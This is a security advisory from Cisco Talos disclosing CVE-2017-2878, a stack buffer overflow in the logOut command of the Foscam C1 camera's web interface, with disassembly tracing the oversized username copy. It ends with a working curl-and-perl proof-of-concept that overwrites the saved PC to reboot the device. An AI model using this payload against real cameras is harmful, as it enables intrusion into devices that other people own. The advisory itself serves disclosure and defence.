Talos Vulnerability Report

TALOS-2017-0385

Foscam IP Video Camera CGIProxy.fcgi logOut Code Execution Vulnerability

November 13, 2017
CVE Number

CVE-2017-2878

Summary

An exploitable buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted HTTP request can cause a buffer overflow resulting in overwriting arbitrary data. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device has a web interface that requires authentication in order to access specific features. Log-in and log-out operations are performed by means of a CGI call. HTTP requests are first handled by the "CGIProxy.fcgi" process, that will dispatch messages to the interested component. When handling the command "logOut", the function sub_42CF4 in the "webService" binary will be called. Any kind of user account can be used to issue this command (the less privileged one being the "visitor" account, level 0).

The function extracts the parameter "usrName" from the query. This is done using the function extract_param [1], which ensures that at most 0x40 [2] characters are placed in the destination buffer [3]. The buffer is then copied again [4] and sent to a different process via an IPC call with code "0x400A" [5].

.text:00042CF4             sub_42CF4
.text:00042CF4
.text:00042CF4 F0 40 2D E9      STMFD   SP!, {R4-R7,LR}
.text:00042CF8 15 DD 4D E2      SUB     SP, SP, #0x540
.text:00042CFC 0C D0 4D E2      SUB     SP, SP, #0xC
.text:00042D00 05 2C 8D E2      ADD     R2, SP, #0x560+var_60                ; [3]
.text:00042D04 F8 11 9F E5      LDR     R1, =aUsrname                        ; "usrName"
.text:00042D08 08 20 82 E2      ADD     R2, R2, #8                           ; [3]
.text:00042D0C 40 30 A0 E3      MOV     R3, #0x40                            ; [2]
.text:00042D10 00 50 A0 E1      MOV     R5, R0
.text:00042D14 47 97 FF EB      BL      extract_param                        ; [1]
...
.text:00042E10 05 6C 8D E2      ADD     R6, SP, #0x560+var_60
...
.text:00042E18 08 60 86 E2      ADD     R6, R6, #8
...
.text:00042E28 42 7E 8D E2      ADD     R7, SP, #0x560+var_140
.text:00042E2C 08 70 87 E2      ADD     R7, R7, #8
...
.text:00042E68 06 10 A0 E1      MOV     R1, R6
.text:00042E6C 07 00 A0 E1      MOV     R0, R7
.text:00042E70 45 42 FF EB      BL      strcpy                               ; [4]
...
.text:00042E84 60 30 A0 E3      MOV     R3, #0x60
.text:00042E88 00 30 8D E5      STR     R3, [SP,#0x560+var_560]
.text:00042E8C 04 20 A0 E1      MOV     R2, R4
.text:00042E90 07 30 A0 E1      MOV     R3, R7
.text:00042E94 1C 60 8D E2      ADD     R6, SP, #0x560+var_544
.text:00042E98 98 10 9F E5      LDR     R1, =0x400A                          ; [5]
.text:00042E9C 98 00 9F E5      LDR     R0, =unk_A2FCC
.text:00042EA0 04 40 8D E5      STR     R4, [SP,#0x560+var_560+4]
.text:00042EA4 08 40 8D E5      STR     R4, [SP,#0x560+var_558]
.text:00042EA8 0C 40 8D E5      STR     R4, [SP,#0x560+var_554]
.text:00042EAC 75 3F FF EB      BL      _ZN10CMsgClient7sendMsgEicPKciiiPc   ; CMsgClient::sendMsg

Message code "0x400A" is handled by the function OnStorageMsgUserLogOut in the "storage" binary. This function copies the username passed via IPC, the IP address, and the number "4" into a structure of size 0x2c, which is then passed to a function [6] for logging the "logOut" action. In particular, the username is copied into the structure using strcpy [7]. The space reserved for the username is 0x20 bytes, which is smaller than the maximum size extracted by function sub_42CF4 (0x40 bytes). This difference is enough to allow for overwriting the saved PC on the stack.

.text:000125BC             OnStorageMsgUserLogOut
.text:000125BC
.text:000125BC             var_48= -0x48
.text:000125BC             var_44= -0x44
.text:000125BC             var_3C= -0x3C
.text:000125BC             var_18= -0x18
.text:000125BC             var_14= -0x14
.text:000125BC
.text:000125BC 30 40 2D E9      STMFD   SP!, {R4,R5,LR}
.text:000125C0 4C 30 A0 E3      MOV     R3, #0x4C
.text:000125C4 3C D0 4D E2      SUB     SP, SP, #0x3C
.text:000125C8 00 30 8D E5      STR     R3, [SP,#0x48+var_48]
.text:000125CC 5C 30 9F E5      LDR     R3, =aOnstoragems_25        ; "OnStorageMsgUserLogOut"
.text:000125D0 5C 20 9F E5      LDR     R2, =""
.text:000125D4 00 40 A0 E1      MOV     R4, R0
.text:000125D8 03 10 A0 E3      MOV     R1, #3
.text:000125DC 04 30 8D E5      STR     R3, [SP,#0x48+var_44]
.text:000125E0 08 00 A0 E3      MOV     R0, #8
.text:000125E4 4C 30 9F E5      LDR     R3, =aStoragemsg_cpp        ; "storageMsg.cpp"
.text:000125E8 4F F7 FF EB      BL      _Z8wirteLogiiPKcS0_iS0_z    ; wirteLog(...)
.text:000125EC B5 F6 FF EB      BL      _ZN9CAppTimer9getSecondEv   ; CAppTimer::getSecond(void)
.text:000125F0 04 30 A0 E3      MOV     R3, #4
.text:000125F4 34 30 8D E5      STR     R3, [SP,#0x48+var_14]
.text:000125F8 28 50 84 E2      ADD     R5, R4, #0x28
.text:000125FC 0C 00 8D E5      STR     R0, [SP,#0x48+var_3C]
.text:00012600 68 00 84 E2      ADD     R0, R4, #0x68
.text:00012604 9C F7 FF EB      BL      inet_addr
.text:00012608 0C 40 8D E2      ADD     R4, SP, #0x48+var_3C
.text:0001260C 05 10 A0 E1      MOV     R1, R5
.text:00012610 30 00 8D E5      STR     R0, [SP,#0x48+var_18]
.text:00012614 04 00 84 E2      ADD     R0, R4, #4
.text:00012618 75 F8 FF EB      BL      strcpy                      ; [7]
.text:0001261C 04 10 A0 E1      MOV     R1, R4
.text:00012620 14 00 9F E5      LDR     R0, =unk_39160
.text:00012624 71 01 00 EB      BL      sub_12BF0                   ; [6]
.text:00012628 3C D0 8D E2      ADD     SP, SP, #0x3C
.text:0001262C 30 80 BD E8      LDMFD   SP!, {R4,R5,PC}

Exploit Proof-of-Concept

This vulnerability is reachable by the "logOut" command and requires a valid user account with (at least) "visitor" privileges. The following proof of concept overwrites the saved PC and the register %r4, in order to call "system("reboot")". Multiple attempts are needed to succeed.

```
$ sUsr="visitor"
$ sPwd=""
$ sBof="$(perl -e 'print "A"x0x2c,"%12%a7%48%40BBBB%d8%f0%01%00"')"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?    
cmd=logOut&usr=${sUsr}&pwd=${sPwd}&usrName=${sBof}"
```

Timeline

2017-08-03 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.